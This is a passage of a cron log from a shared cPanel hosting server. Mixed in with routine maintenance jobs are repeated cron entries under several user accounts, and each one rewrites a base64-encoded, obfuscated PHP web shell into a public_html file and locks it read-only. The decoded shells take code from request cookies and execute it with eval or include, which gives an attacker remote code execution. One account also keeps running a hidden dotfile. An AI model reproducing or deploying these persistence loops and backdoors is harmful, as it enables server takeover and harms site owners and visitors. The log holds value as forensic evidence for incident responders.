OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:49:02 medusa CROND[16170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:49:02 medusa CROND[16167]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:49:02 medusa CROND[16173]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:49:02 medusa CROND[16174]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:49:02 medusa CROND[16176]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:50:02 medusa CROND[22383]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 22:50:02 medusa CROND[22384]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 22:50:02 medusa CROND[22385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 22:50:02 medusa CROND[22387]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 22:50:02 medusa CROND[22398]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 22:50:02 medusa CROND[22399]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:50:02 medusa CROND[22401]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:50:02 medusa CROND[22400]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 22:50:02 medusa CROND[22402]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 22:50:02 medusa CROND[22413]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:50:02 medusa CROND[22414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:50:02 medusa CROND[22412]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 22:50:02 medusa CROND[22408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 22:50:02 medusa CROND[22417]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:50:02 medusa CROND[22420]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:50:02 medusa CROND[22419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:50:02 medusa CROND[22422]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:50:02 medusa CROND[22411]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 22:50:02 medusa CROND[22431]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:50:02 medusa CROND[22432]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 22:50:02 medusa CROND[22430]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:50:02 medusa CROND[22403]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 22:50:02 medusa CROND[22423]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 22:50:02 medusa CROND[22437]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 22:50:02 medusa CROND[22421]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 22:50:02 medusa CROND[22440]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:50:02 medusa CROND[22424]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 22:50:02 medusa CROND[22441]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:50:02 medusa CROND[22428]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 22:50:02 medusa CROND[22416]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 22:51:02 medusa CROND[28283]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:51:02 medusa CROND[28284]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 22:51:02 medusa CROND[28286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:51:02 medusa CROND[28287]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:51:02 medusa CROND[28290]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:51:02 medusa CROND[28285]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:51:02 medusa CROND[28291]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90e